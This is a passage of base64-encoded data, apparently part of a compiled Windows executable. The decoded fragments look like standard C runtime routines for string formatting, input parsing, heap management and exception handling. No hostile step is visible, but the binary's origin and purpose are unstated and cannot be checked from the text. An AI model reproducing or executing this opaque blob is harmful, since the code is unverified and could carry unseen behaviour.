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 